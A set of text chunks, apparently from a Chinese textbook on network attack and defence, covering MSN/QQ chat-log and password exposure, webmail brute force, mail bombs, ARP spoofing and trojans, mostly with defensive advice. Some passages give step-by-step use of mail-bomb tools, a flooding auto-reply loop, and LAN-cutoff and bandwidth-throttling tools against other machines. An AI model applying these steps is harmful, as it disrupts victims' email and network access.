    {"text": "如果用户需要保留聊天记录，可以先在QQ中导出聊天信息，然后 再删除账户和记录文件，这样当用户需要时，可以使用导出的文件恢 复聊天记录。"},
    {"text": "查看MSN密码 例如MessenPass就能显示出MSN中保存的账号和密码信息，只要用 户在 MSN 上设置过记住密码，就能显示出所有的 MSN 账号和对应的 密码。 设置MSN自动保存登录密码或者自动登录。"},
    {"text": "防范非法查看MSN密码 用户可以删除 MSN中保存的信息，取消保存登录密码。 在MSN登录界面的账户下拉列表选择框中选择要删除信息的账户， 单击【删除我的信息】文字链接。 弹出【Windows Live Messenger】对话框，单击 按钮即 可删除登录信息。"},
    {"text": "2. 查看MSN的聊天记录 如果用户选择保存 MSN 的聊天记录，那么其他用户也将非常容易 地查看到聊天内容，这是因为MSN默认采用明文形式来保存聊天内容。"},
    {"text": "查看MSN聊天信息 聊天文件默认保存在【文档】 【我接收到的文件】文件夹 里。 展开下面的文件夹，找到其中的xml文件，这里面保存的就是MSN 的聊天记录。 双击该文件即可在IE浏览器中查看到具体的聊天内容。 防范查看MSN聊天信息 MSN采用明文形式保存聊天信息，因此从原理上来说，只要在电脑 上保存了聊天信息，就有可能被其他人看到。 防止他人查看 MSN 聊天信息的最好方法是不要在电脑上保存聊天 记录，除了在 MSN 中设置成不保存聊天记录外，还应该查看【我接收 到的文件】文件夹中的 XML 文件，删除那些保存着聊天信息的文件。 如果用户需要保存某些聊天信息，例如有关公司、合同和账务方 面的内容，可以先保存聊天信息，然后把这些文件转移到其他文件夹 里，最后使用软件进行加密（如使用WinRAR进行加密压缩）。 与QQ一样，目前也有许多能够偷偷查看并转移MSN聊天信息的软 件，防范的方法也基本相同，用户应及时升级木马、病毒库，定期对 电脑进行查杀扫描，安装网络防火墙并设置高安全级别的阻止策略。 高手过招 使用WebQQ WebQQ是腾讯公司推出的使用网页版QQ的服务，特点是无需下载和 安装QQ软件，能够实现跨平台访问，不管用户使用的是微软的Windows 操作系统、苹果的MAC系统还是开放的Linux系统，只要能够访问WebQQ 网站就能登录QQ，就能实现大部分的QQ功能，并最大限度的保持了客 户端软件的操作习惯。 WebQQ的具体使用方法如下。 1 在网址中输入“www.webqq.com”，按【Enter】键即可打开 WebQQ网站首页。 2 在【账号】和【密码】文本框中输入QQ的账号和密码然后选中 【同时登录 QQ】复选框，单击 按钮。 3 登录了WebQQ，用户可以在此查看并回复好友和群消息，在 WebQQ中有许多的应用插件，用户可以有选择的使用。 备份QQ聊天记录 用户应对QQ聊天信息进行备份，用于重新安装操作系统后进行恢 复，备份QQ聊天记录的具体操作步骤如下。 1 登录QQ，单击【主菜单】按钮图标 ，选择【工具】 【消息管理器】菜单项。 2 弹出【消息管理器】窗口，在此可以查看到所有的QQ聊天记 录。"},
    {"text": "3 弹出【另存为】对话框，在此设置好聊天备份的保存位置和文 件名。 单击 按钮，稍后即可完成QQ聊天信息的保存。 导入QQ聊天记录 用户可以在需要时重新导入QQ的备份文件，具体的操作步骤如 下。 1 登录QQ，单击窗口中的【打开消息管理器】图标 ，打开 【消息管理器】窗口，单击【导入和导出】下拉菜单按钮。 2 弹出【请选择要导入的内容】界面，默认选中【消息记录】复 选框，直接单击 按钮即可。 3 弹出【请选择导入消息记录的方式】界面，根据需要选择合适 的选项，在此以选中【从指定文件导入】单选钮为例，单击 按钮。 4 弹出【打开】对话框，浏览到QQ聊天记录备份文件，选中后单 击 按钮。 5 返回【请选择导入消息记录的方式】界面，可以看到导入文件 的路径和名称，单击 按钮即可。 6 稍后即会弹出【导入成功】界面，单击 按钮即可完成 QQ聊天信息的导入。"},
    {"text": "第10章 电子邮件攻防 电子邮箱（E-mail）已成为人们进行通信的一种重要工具，因此 邮箱的安全问题可能会影响到用户的隐私、正常的通信及社会活动等 方方面面。 光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【网络攻防\\电子邮件攻防】。 10.1 电子邮件的攻击 目前针对电子邮箱的攻击方式主要有邮箱密码攻击和信息攻击 （又称邮箱炸弹攻击）。 10.1.1 邮箱密码攻击 1. 邮箱密码暴力破解 Internet 上客户端与服务端的交互，基本上都是通过在客户端以 提交表单的形式交由服务端程序(如CGI、ASP等)处理来实现的。 网页 电子邮箱的密码验证也是这样，用户在浏览器的表单元素里输入账户 名、密码等信息并提交以后，服务端对其进行验证，如果正确的话， 就会进入自己的webmail页面，否则，返回一个出错页面给客户端。 因此攻击者可以借助一些黑客工具，不断的用不同的密码尝试登 录，通过比较返回页面的异同，从而判断出邮箱密码是否破解成功。 帮助攻击者完成此类暴力破解的工具有很多，如wwwhack、小榕的溯雪 等，尤以后者的功能最为强大，它本身已经是一个功能完善的浏览 器，通过分析和提取页面中的表单，给相应的表单元素挂上字典文 件，再根据表单提交后返回的错误标志判断破解是否成功。 对于webmail的暴力破解，许多网页电子邮箱系统都采取了相应的 防范措施。 如果某账户在较短的时间内有多次错误登录，即认为该账 户受到了暴力破解，防范措施一般有如下3种。 （1）禁用账户 把受到暴力破解的账户禁止一段时间登录，一般是5至10分钟，但 是，如果攻击者总是尝试暴力破解，则账户就一直处于禁用状态不能 登录，导致真正的用户不能访问自己的邮箱，从而形成DOS（拒绝服务 式）攻击。 （2）禁止IP地址 把进行暴力破解的IP地址禁止一段时间不能使用webmail。 这虽然 在一定程度上解决了“禁用账户”带来的问题，但更大的问题是，这 势必导致在网吧、公司、学校甚至一些局域网内共用同一IP地址访问 互联网的用户不能使用该电子邮箱。 如果攻击者采用多个代理地址轮 流攻击，甚至采用分布式的破解攻击，那么“禁止IP地址”就难以防 范了。 （3）登录检验 这种防范措施一般与上面两种防范措施结合起来使用，在禁止不 能登录的同时，返回给客户端的页面中包含一个随机产生的检验字符 串，只有用户在相应的输入框里正确输入了该字符串才能进行登录， 这样就能有效避免上面两种防范措施带来的负面影响。 不过，攻击者 依然有可乘之机，通过开发出相应的工具提取返回页面中的检验字符 串，再将此检验字符串作为表单元素值提交，那么又可以进行有效的 电子邮箱暴力破解了。 如果检验字符串是包含在图片中，图片的文件 名又随机产生，那么攻击者就很难开发出相应的工具进行暴力破解。 虽然电子邮箱的暴力破解有诸多的防范措施，但还是很难被完全 避免被暴力破解，如果页面电子邮箱系统把一分钟内5次错误的登录当 成是暴力破解，那么攻击者就会在一分钟内只进行4 次登录尝试。 所 以，防范网页电子邮箱暴力破解还主要靠用户自己采取良好的密码策 略，如密码足够复杂、与其他密码不同、密码定期更改等，这样，攻 击者很难暴力破解成功。 2. 密码找回攻击 难免会有用户遗失邮箱密码，为了让用户能找回密码继续使用自 己的邮箱，大多数网页电子邮箱系统都会向用户提供邮箱密码恢复机 制，让用户回答一系列问题，如果答案都正确的话，就会让用户恢复 自己邮箱的密码。 但是，如果密码恢复机制不够合理和安全，攻击者 就会加以利用，轻松获取他人的邮箱密码。 邮箱密码恢复验证阶段 只有用户对每步提出的问题回答正确的话才会进入下一步，否则 返回出错页面，针对每一步，攻击者都有可乘之机。 下面是许多电子 邮箱系统密码恢复机制所采取的密码恢复步骤。"},
    {"text": "这一步对攻击者而言也很轻 松，年月日的排列组合很小，借助溯雪等工具很快就能穷举破解出 来，所以电子邮箱系统有必要在此采取暴力破解防范措施。"},
    {"text": "并且每个 用户需要注意的是，攻击者不一定来自地球的另一端，很可能就是你 身边的人，而他们要弄清你的生日往往是件轻而易举的事情，你不是 昨天才过了生日派对吗?你不是刚刚把身份证复印件交给人事部吗?所 以，为了邮箱安全，用户应尽量不要使用真实的生日作为邮箱的注册 信息。"},
    {"text": "在这一步，攻击者往往只有靠猜测，不幸的是，很多用户的问题和答 案是如此的简单，让攻击者能轻易的猜测出来，例如提出的问题只是 知识性的问题、提出的问题和答案相同等。 攻击者对用户越熟悉，成 功的可能性就越大，例如有用户问“你男朋友是哪里人”，殊不知， 攻击者正是她的男朋友。 所以，用户把问题设置成唯有自己知道的答 案至关重要，这样攻击者才很难得逞，不过千万不要忘了答案。"},
    {"text": "邮箱密码恢复阶段 在用户正确完成以上各步骤以后，网页系统就会让用户恢复自己 邮箱账户的密码。 密码恢复的方式和安全程度各有不同，一般有如下 几种方式。 （1）页面返回 返回的页面里显示用户的邮箱密码。 这样处理虽然方便省事，但 是如果让攻击者得到密码，则能在丝毫不惊动用户的情况下使用用户 的邮箱，使得攻击者能长期监视用户的邮箱使用情况，给用户带来更 大的安全隐患。 （2）邮件发送 将密码发送到用户注册时登记的另一个邮箱里。 对于攻击者来 说，忙了半天，仍然是一无所获，除非继续去攻击另一个邮箱;对于用 户来说，在另一个邮箱里收到发来的密码则是一个警告，说明有攻击 者猜测到了他的邮箱密码提示问题，迫使用户尽快改变自己的密码提 示问题。 如果用户注册时登记的不是一个正确的邮箱，或者该邮箱已 经失效，那么，这样不仅是攻击者，就是用户本人也永远得不到密码 了。 有些网页电子邮件系统在注册时要求用户登记正确的邮件地址， 并把邮箱开通的验证信息发往该邮件地址，不过这样仍然不能避免用 户在邮箱失效后不能恢复自己邮箱密码的情况发生。"},
    {"text": "这种方式相比“页面返回”方式，在 攻击者重设密码后，用户因为不能正常登录进自己的邮箱而能察觉出 受到攻击，安全性相对好一些。 但是相比“邮件发送”方式，因为攻 击者能立即修改邮箱密码，少了一层保障，安全性又差一些。"},
    {"text": "由“页面返回”或“邮件发送”回来的密码可以明显看出，该电 子邮件系统是把邮箱账户的密码未经加密直接以明文保存在数据库或 服务器中。 这样就会造成很大的安全隐患，网页电子邮件系统管理员 或侵入数据库的攻击者能轻易获取用户的邮箱密码，用户却完全不知 情，所以为了加大保密性，有必要将邮箱密码加密后再以密文存入数 据库，最好用不可逆的单向加密算法（如md5加密）。"},
    {"text": "10.1.2 邮箱炸弹攻击 1. 邮箱炸弹基础知识 在信息互联网时代，邮件炸弹指的是电子邮件炸弹，是邮件发送 者利用特殊的电子邮件软件，在很短的时间内连续不断地将邮件邮寄 给同一个收信人，在这些数以千万计的大容量信件面前，收件箱肯定 不堪重负，最终“爆炸身亡”。 基本原理 由于每个人的邮件信箱都是有限的,当庞大的邮件垃圾到达信箱的 时候，就会把信箱挤爆，把正常的邮件给冲掉，同时由于它占用了大 量的网络资源，常常导致网络堵塞，使大量的用户不能正常地工作。 炸弹目的 “邮件炸弹”是指含有活动数据的电子邮件，其目的是对邮件接 收者的计算机或终端进行恶意破坏。"},
    {"text": "炸弹危害 邮件炸弹可以说是网络中“流行”的一种恶作剧，这种攻击手段 不仅会干扰用户的电子邮件系统的正常使用，甚至它还能影响到邮件 系统所在的服务器系统的安全，造成整个网络系统全部瘫痪，所以邮 件炸弹具有很大危害。 邮件炸弹可以大量消耗网络资源，常常导致网络堵塞，使大量的 用户不能正常地工作。 通常，网络用户的信箱容量是很有限的，如果 用户在短时间内收到成千上万封电子邮件，那么经过一轮邮件炸弹轰 炸后的电子邮件的总容量很容易就把用户有限的阵地挤垮。 这样用户 的邮箱中将没有多余的空间接纳新的邮件，那么新邮件将会丢失或者 被退回，这时用户的邮箱已经失去了作用。 另外，这些邮件炸弹所携 带的大容量信息不断在网络上来回传输，很容易堵塞带宽并不富裕的 传输信道，会加重服务器的工作强度，减缓了处理其他用户的电子邮 件的速度，从而导致了整个过程的延迟。"},
    {"text": "发送人的 MAIL 地址 可随意更改，包含@符号就行了。 在左边【MAIL地址列表】中输入对方的MAIL地址（一行一个地 址），在【发送次数】中输入每个邮箱的重复发送次数，发送人的 MAIL地址可以随便输入，只要包含@符号就行，然后输入邮件主题与邮 件内容，单击 按钮即可开始邮件炸弹攻击。"},
    {"text": "将其中一个邮箱1设置成转发和自动回复，转发到的邮箱地址为邮 箱 B。 把另外一个邮箱 2设置成自动回复。 这样，当从邮箱2向邮箱1发送电子邮件时，由于两个信箱都带有 自动回复功能，就会进行循环发信。 而邮箱1每收到一封新的电子邮件 就会向B自动转发一封，这样的邮箱很快就会被同一封邮件塞满。"},
    {"text": "10.2 电子邮件的防护 针对上述的电子邮箱攻击，用户可以采用相应的防范措施，下面 针对暴力破解和邮箱炸弹讲述如何进行防护。 10.2.1 邮箱密码攻击的防护 1. 邮箱密码的设置 若是邮箱提供商对邮箱的安全性做得不够好，邮箱密码就可以通 过专门的破解程序进行暴力破解。"},
    {"text": "特别是企业邮 箱，一般安全性比较差，而很多用户为了记忆方便，把密码设置得非 常简单，这样就很容易被破解，所以建议用户尽可能地将密码设置得 复杂一些，比如使用“字母”+“数字”+“特殊字符”的方式来设置 密码，密码长度最好要大于8位，因为大多数的密码破解软件破解8位 以上密码时，效率会大大降低，甚至无法破解。 邮箱密码一定不要和 其他密码设置的一样，特别是不要和注册一些论坛的密码设置相同， 最好是全新的、没有使用过的密码。 2. 保护重要邮箱 保护重要邮箱最有效的办法是使用独立的邮箱，分为重要邮箱和 普通邮箱，重要邮箱只作为私人收发邮件、QQ 或其他程序的密码保护 使用，密码的设置强度一定要高。"},
    {"text": "普通邮箱用来在论坛或是其他地方注册及一些认证时使用。 当由于特定原因需要公布自己邮箱时也要使用普通邮箱，这样即 使这个邮箱被盗了，还可以再申请一个，并不会损失一些重要的信 息。"},
    {"text": "1 打开用户申请邮箱的首页地址，这里使用新浪的免费邮箱，在 地址栏中输入“mail.sina.com.cn”，按【Enter】键就会打开该网站 的首页，单击【忘记密码？"},
    {"text": "2 弹出【请填写登录名】页面，在【登录名】文本框中输入要找 回密码的邮箱地址，在【验证码】文本框中输入后面图形中的字符， 单击 按钮。 3 出现【请选择找回方式】页面，可以看到有两种找回邮箱密码 的方法，使用绑定邮箱和通过客服，如果用户在申请邮箱时没有进行 绑定，就只能通过客服找回了。 在此以使用绑定邮箱找回为例，单击 【通过绑定邮箱找回登录密码】文字链接。 4 进入找回密码的第一步——填写绑定邮箱，在【绑定邮箱】文 本框中输入注册时输入的绑定邮箱地址，单击 按钮。 5 进入第二步——接收找回密码邮件，此时会有一封重置密码的 邮件发送到绑定邮箱里。 6 登录绑定的邮箱，找到接收到的密码重置邮件，单击其中的重 置密码链接。 7 进入第三步——重置密码，在【重置密码】和【确认密码】文 本框中输入新的密码，密码应尽量设置得复杂一些。"},
    {"text": "10.2.2 邮箱炸弹攻击的防护 1. 防范邮箱炸弹的准备工作 邮件炸弹的防范比较繁琐，而且很难保证万无一失，但我们可以 使用如下方法来尽可能地避免邮件炸弹的袭击。"},
    {"text": "2 在【添加到黑名单】文本框中输入垃圾邮箱地址（在此以添加 名为“xxx@sina.com”的邮件地址为例），输入完毕单击 按钮。 3 可以看到新添加的xxx@sina.com邮件地址被添加到【地址】列 表中，单击【返回“反垃圾”设置】文字链接。 4 选中【对黑名单中的地址来信和系统判断的垃圾邮件直接删 除，不放入垃圾邮件夹】复选框，单击 按钮保存设置。 5 经过上述设置后，所有发送地址为xxx@sina.com 的邮件会被作 为垃圾邮件自动地删除。"},
    {"text": "邮件广告指的是发件者在同一时间内将相同内容的电子邮件寄 出给千万个不同的用户(或寄到新闻组)，主要是一些公司用来宣传其 产品的广告方式，这种方式一般不会对收件人造成太大的伤害。"},
    {"text": "② 往想要保护的邮箱里发一封带有这张图片的电子邮件，邮件的 标题要带有能引起攻击者关注的文字，如“新的银行密码”，“QQ 密 保重置”，或者“成功了，我们通过了!”等。"},
    {"text": "第11章 ARP欺骗攻防 ARP攻击是局域网中最常见的攻击方式，严重影响着网络的速度和 安全性。 ARP攻击除了能实现网速限制、断网攻击外，最大威胁是能够 通过嗅探网络数据，达到窃取账号、密码和涉密信息的目的。 光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【网络攻防\\ARP欺骗攻防】。 11.1 ARP欺骗攻击 ARP欺骗攻击是目前最常见的中间人攻击方式，它利用了ARP协议 的漏洞，对局域网中的电脑和路由器发动攻击，以实现数据嗅探和网 络攻击的目的。 11.1.1 ARP欺骗原理 1. 什么是ARP ARP（Address Resolution Protocol，地址解析协议）是一个位 于 TCP/IP 协议栈中的低层协议，负责将某个IP地址解析成对应的MAC 地址。"},
    {"text": "在局域网中，网络中实际传输的是“帧”，帧里面是有目标主机 的 MAC 地址的。 在以太网中，一个主机要和另一个主机进行直接通 信，必须要知道目标主机的 MAC 地址。"},
    {"text": "ARP协议的基 本功能就是通过目标设备的IP地址，查询目标设备的 MAC 地址，以保 证通信的顺利进行。 2. ARP的工作原理 在每台安装有 TCP/IP 协议的电脑里都有一个ARP缓存表，表里的 IP地址与MAC地址是一一对应的，在命令提示符下，输入“arp -a”就 可以查看ARP缓存表中的内容。"},
    {"text": "如果在ARP缓存表中没有找到相对 应的IP地址，主机A就会在网络上发送一个广播，目标MAC地址是 “FF.FF.FF.FF.FF.FF”，这表示向同一网段内的所有主机发出这样的 询问：“192.168.0.1的MAC地址是什么？ ”网络上其他主机并不响应 ARP询问，只有主机B接收到这个帧时，才向主机 A 做出这样的回应： “192.168.0.1 的 MAC 地址是 00-aa-00-62-c6-09”。"},
    {"text": "3. ARP欺骗原理 ARP缓存表采用了老化机制，在一段时间内如果表中的某一行没有 使用，就会被删除，这样可以大大减少 ARP 缓存表的长度，加快查询 速度。"},
    {"text": "作为攻击源的主机伪造一个ARP响应包，包中的IP与 MAC 地址对 应关系与真实的IP与MAC对应关系不同，这个伪造的ARP响应包被广播 出去后，网内其它主机的 ARP 缓存会被更新，被欺骗主机ARP缓存中 特定的IP会被关联到错误的MAC地址上。 此时被欺骗的主机要访问特定IP地址的电脑时，数据包无法发送 到真实的目的电脑，而是发送到伪造ARP响应包中指定的电脑中。 4. ARP欺骗的类型 ARP欺骗攻击的类型大致分为两种：一种是对路由器ARP表的欺 骗，另一种是对内网电脑的网关进行欺骗。 （1）对路由器ARP表进行欺骗 对路由器发送一系列错误的内网 MAC 地址，长时间不断发送，冲 刷路由器的ARP表，使得路由器ARP表中都是错误信息，转发数据的时 候都发向错误的 MAC 地址，造成正常的电脑无法收取信息，而假冒者 可以窃取相关的信息。 （2）对内网电脑的网关进行欺骗 主要是通过建立虚假的网关，让被它欺骗的电脑向这个假网关发 送数据，而不是通过正常的路由器途径上网，这种欺骗造成的结果就 是网络掉线。 5. ARP欺骗的症状 一般来说，受到ARP欺骗攻击后，电脑可能出现如下情况。"},
    {"text": "① 网络时断时通。 ② 网络中断，重启网关设备，网络短暂连通。 ③ 内网通讯正常、网关不通。 ④ 频繁提示IP地址冲突。 ⑤ 硬件设备正常，局域网不通。 ⑥ 特定IP网络不通，更换IP地址，网络正常。 ⑦ 禁用-启用网卡，网络短暂连通。"},
    {"text": "11.1.2 ARP欺骗攻击演示 1. 局域网终结者攻击演示 局域网终结者，是一款运行在局域网中的软件，通过构造虚假IP 和MAC地址来欺骗网络主机，使得目标主机无法使用 TCP/IP 协议来连 接网络，可以中断局域网中的游戏连接，停止音乐、视频的播放。"},
    {"text": "1双击局域网终结者程序图标 运行程序，如果用户的电脑中 有多个网卡，将会弹出【选择网络信息】对话框，建议用户选中有线 网卡，选择完单击 按钮。 2 弹出【局域网终结者】程序窗口，在【目标IP】文本框中输入 想要阻止的局域网电脑IP地址，单击 按钮。 3 此时IP地址已添加到【正在被阻断的IP地址列表】中，只要局 域网终结者程序没有退出，那些IP地址位于列表中的电脑将会无法上 网。 如果退出局域网终结者程序或者将IP地址从【正在被阻断的IP地 址列表】中移除，目标主机将会在30～60秒后恢复正常（有的系统可 能会需要更长的时间）。"},
    {"text": "该软件针对目前P2P软件过 多占用带宽的问题，提供了一个非常简单的解决方案，适应绝大多数 网络环境，包括代理服务器、ADSL 路由器共享上网，Lan 专线等网络 接入环境。"},
    {"text": "P2P终结者通过截获路由器数据包、修改IP和MAC缓存，实现控制 网速的目的。 也就是说， P2P终结者的就是通过不停的“攻击”路由 器来实现控制网速的。 正是因为 P2P 终结者采用“攻击路由器”的方式来工作，会严重 增加整个网络的负荷，导致网速整体下降。"},
    {"text": "1 运行 P2P 终结者程序，单击窗口中的 按钮。 2 弹出【系统设置】对话框，分别单击 按钮和 按钮，P2P终结者会自动进行识别，如果识别有误，用 户可以手动更改，设置完毕单击 按钮。 3 返回P2P终结者程序窗口，单击 按钮。"},
    {"text": "4 弹出【控制规则设置】对话框，在此预置了4组规则模板，用户 可以直接修改模板或者重新创建一个规则模板，在此以修改预置的 【全局限速模板】为例，选中后单击 按钮。 5 弹出【规则编辑】对话框，切换到【带宽限制】选项卡，在此 把上行带宽和下行带宽设置为合理的数值。 6 切换到【P2P下载限制】对话框，选中想要限制的下载方式，在 此全部选中，单击 按钮保存设置。 7 返回到P2P终结者程序窗口，在想要限制的IP地址上单击鼠标右 键，选择【为选中的主机指定规则】菜单项。 8 弹出【控制规则指派】对话框，从下拉列表框中选择合适的规 则模块，在此选中【全局限速模板】，单击 按钮。 9 返回P2P终结者程序窗口，选中指定规则模板的IP地址前的复选 框，单击 按钮，即可对该IP地址进行网速限制。"},
    {"text": "11.2 ARP欺骗防护 当局域网中发生ARP攻击时，用户可以使用绑定IP—MAC地址和安 装ARP防火墙等方法来抵御攻击。 11.2.1IP-MAC绑定 通过双向IP-MAC绑定可以抵御ARP欺骗，解决由于 ARP 欺骗造成 的网络掉线、IP 冲突等问题，保证网络畅通。"},
    {"text": "（1）在客户机中绑定网关的IP和MAC地址 在客户机设置网关IP与MAC为静态映射。 （2）在路由器中绑定客户机的IP和MAC地址 使用支持IP/MAC绑定的路由器，在路由器中设置客户机的静态IP- MAC列表。 1. 在客户机中绑定IP—MAC 在Windows 7操作系统中，用户可以使用netsh命令，绑定网关的 IP和MAC地址，具体的操作步骤如下。"},
    {"text": "1 以管理员身份打开 cmd 程序窗口，执行“ipconfig/all”命 令，查看网络信息，可以看到网关的IP地址为192.168.0.1。 2 执行“arp–a”命令，查看ARP缓存信息，可以看到网关的IP与 MAC地址，它们的类型为动态（即允许被更改）。"},
    {"text": "4 执行“netsh -c \"i i\" add neighbors 16 \"192.168.0.1\" \"c8-3a-35-4f-74-98”命令绑定网关的IP和MAC，其中的数字16为刚查 到的无线网络连接索引号，192.168.1 为网关的IP 地址，c8-3a-35-4f-74-98为网关的MAC地址。"},
    {"text": "同样，在Windows 7操作系统中，使用“arp-d”命令不能完全的 删除绑定，必须使用“netsh -c \"i i\" delete neighbors 16”命令 来删除MAC地址绑定，其中的数字16即为无线网络连接索引号。 2. 在路由器中绑定IP—MAC 只在电脑中绑定网关的IP-MAC地址，不能完全防止ARP攻击，用户 还需要在路由器中绑定电脑的IP-MAC地址。 每种路由器设置IP-MAC 绑定的方法都不一样，在此以腾达11N无 线路由器为例，具体操作步骤如下。 1 登录路由器 Web 管理界面，单击左上角的【高级设置】文字链 接。 2 进入路由器高级设置界面，切换到【DHCP服务器】功能区下的 【DHCP客户列表】选项卡。"},
    {"text": "11.2.2 使用ARP防火墙 使用ARP防火墙能够有效地阻止ARP攻击，例如360木马防火墙和 COMODO防火墙等。 1. 使用360木马防火墙 360木马防火墙是360安全卫士中的一个组件，其中带有ARP防护功 能，默认为关闭状态，用户需要手动开启，具体操作步骤如下。 1用户只需要选择【开始】 【所有程序】 【360安全中 心】 【360安全卫士】 【360木马防火墙】菜单项，即可打开 【360 木马防火墙】程序窗口，单击【局域网防护（ARP）】功能区中 的 按钮。 2 弹出开启确认界面，单击 按钮确认开启ARP防护功能。"},
    {"text": "2. 使用COMODO防火墙 COMODO防火墙中也带有ARP功能，默认为关闭状态，用户需要手动 开启，具体操作步骤如下。 1 打开COMODO防火墙程序窗口，切换到【防火墙】选项卡，单击 【防火墙行为设置】文字链接。 2 弹出【防火墙行为设置】对话框，切换到【高级设置】选项 卡，选中【保护ARP缓存】和【拦截GARP帧】复选框，然后单击 按钮即可。"},
    {"text": "用户可以使用arp –a命令查看ARP中的缓存信息，如果APP缓存中 存在一个MAC地址对应多个IP地址的情况，那么这个MAC地址就可以被 认为是ARP攻击源的MAC地址。 如果ARP攻击正在进行，可能会出现每次执行 arp –a命令，都会 出现所显示的网关IP地址对应多个MAC地址的情况。 用户也可以使用诸如ARPKiller这样的工具，扫描局域网中的有哪 台机器的网卡处于混杂模式，可以认为处于混杂模式的电脑就可能是 ARP攻击源。"},
    {"text": "清除局域网中的P2P终结者程序 由于P2P终结者广为流传，很多人都可以下载和非法使用，并恶意 控制别人网络下载速度。 于是P2P终结者软件作者推出了反P2P终结者 软件，能够清除局域网中的P2P终结者程序。 在运行反 P2P 终结者程序前需要先安装WinPcap程序，具体的操 作步骤如下。 1 运行【反P2P终结者软件】程序，在【请选择你上网所使用的物 理网卡】下拉列表选择框中选择合适的网卡。 2 单击【杀掉 P2P 终结者】按钮，反 P2P终结者程序开始运行， 扫描并自动清除局域网名正在运行的P2P终结者程序。"},
    {"text": "第5篇 木马与病毒攻防 在抵御木马和病毒的入侵过程中，需要提前做好防御，做到“防 患于未然”，这样才能够在攻防战中占据有利位置。 第12章 木马攻防 第13章 病毒攻防 第12章 木马攻防 木马攻击是目前黑客最喜爱的攻击手段之一，利用其他的一些载 体，木马可以轻松地进行隐藏和伪装，并吸引用户下载执行，从而达 到远程控制用户计算机的目的。 本章将详细讲解木马攻击知识，并介 绍相应的防御木马的措施。 光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【木马与病毒攻防】。 12.1 认识木马 要想更好的防御木马的入侵，首先需要充分地认识和了解木马， 下面就详细介绍木马的定义、危害、原理、特点和分类等方面的知 识。"},
    {"text": "木马则完全 相反，它要达到的目的是完全控制目标计算机，然后窃取目标计算机 上的重要信息和控制操作系统等，如果没有很强的隐蔽性，那就没有 任何意义了。 12.1.1 木马的危害及原理 木马是一种后门程序，就像混进去的希腊士兵打开了特洛伊的城 门一样，木马程序也会在用户计算机系统上开一个“后门”，黑客们 就从这个被打开的特定“后门”进入用户的计算机，然后就可以随心 所欲地摆布用户的计算机了。 1. 木马的危害 黑客通过木马进入用户计算机后能够做什么呢？"},
    {"text": "偷偷监视用户的 操作和窃取用户信息，比如偷窃上网密码、游戏账号、股票账号、网 上银行账号等； 甚至能够控制用户的鼠标和键盘去做他们想做的任何 事，比如打开用户珍藏的照片，然后将其永久删除，或是冒充用户发 送电子邮件、进行网上聊天、网上交易等活动，危害十分严重。"},
    {"text": "2. 木马的工作原理 木马的工作模式是客户端／服务器模式，按照其功能可以分为两 部分：一个是客户端，即控制端，另一个是服务端，即被控制端。"},
    {"text": "植 入被种者计算机的是“服务器”部分，而所谓的“黑客”正是利用 “控制器”进入运行了“服务器”的计算机。 运行了木马程序的“服 务器”以后，被种者的计算机就会有一个或几个端口被打开，黑客可 以利用这些打开的端口进入计算机系统，这样，系统安全和个人隐私 也就全无保障了。"},
    {"text": "木 马的服务一旦运行并被控制端连接，其控制端将享有服务端的大部分 操作权限，例如给计算机增加口令，浏览、移动、复制、删除文件， 修改注册表，更改计算机配置等。"},
    {"text": "一般来说，设计成熟的木马都有一个信息反馈机制。 所谓信息反 馈机制是指木马成功安装后会收集一些服务端的软硬件信息，并通过 E-mail、IRC或ICQ等通信软件发送到控制端的计算机上。"},
    {"text": "隐蔽性 木马在命名上采用和系统文件的文件名相似的文件名，其属性通 常是系统文件、隐藏、只读属性，并且存放在不常用或难以发现的系 统文件目录中。"},
    {"text": "伪装性 目前，大多数的用户对病毒和木马都有较高的警觉性，不会轻易 运行来历不明的程序。 因此，木马就需要伪装成其他程序来迷惑用 户，已达到入侵目标主机的目的。 潜伏性 与病毒相比，木马不具有显著的破坏性，它总是悄无声息地在目 标主机中运行，并监听特定的端口等待着黑客的连接请求。 不易删除性 木马常常会附着在系统的自动启动文件中，随着系统的启动而自 动运行，并且有保护设置，所以查杀木马非常的麻烦。 部分木马还会 在系统中留下多个备份文件，如果查杀不彻底，它还会通过备份再次 激活，或者感染其他的正常文件，这样，木马就会轻易地死灰复燃 了。"},
    {"text": "这样就需要其他用户 在上网的时候能与远端客户进行通信，木马程序就会用服务器/客户端 的通信手段把信息传送给操作它的黑客，以便黑客能控制该计算机或 者实施更加进一步的入侵目的。 功能特殊性 木马的功能通常都比较特殊，除了普通的文件操作以外，还有一 些木马具有搜索Cache（缓存）中的口令、进行键盘记录、设置口令、 扫描目标计算机的IP地址、远程注册表的操作以及锁定鼠标等功能。"},
    {"text": "12.1.3 木马的发展及分类 木马从问世至今，其发展过程经历多次大的飞跃。 本节将从木马 的发展史和分类方面进行讲解，加深对木马的认识。"},
    {"text": "第一代：第一代木马的结构相对较简单，大都具有简单的密码窃 取和发送等功能，主要针对UNIX操作系统，针对Windows操作系统的木 马并不多。 第二代：第二代木马在技术上有了很大的进步，集偷窥、盗窃等 功能于一身，其特点是需要监听某个特定的端口，其中，冰河可以说 为是国内木马的典型代表之一。 第三代：第三代木马在第二代木马的基础上完善了连接与文件的 传输技术，并且增强了木马穿透防火墙以及反弹端口的技术，增加了 查杀木马的难度。"},
    {"text": "第四代：第四代木马在进程隐藏方面做了大的改动，采用了内核 插入式的嵌入方式，利用远程插入线程技术，嵌入DLL线程，或者挂接 PSAP等，这样，第四代木马已经完全脱离了端口，能够更好地隐蔽自 己。 第五代木马：第五代木马与病毒紧密结合，利用操作系统漏洞， 直接实现感染传播的目的，而不必像以前的木马那样通过欺骗使用户 的主动激活。 木马程序自出现至今已经出现了各种各样的类型，绝大多数的木 马并不是单一功能的木马，它们往往是很多种功能的组合品，甚至有 很多技术超一流的功能在一些木马中也广泛地存在。"},
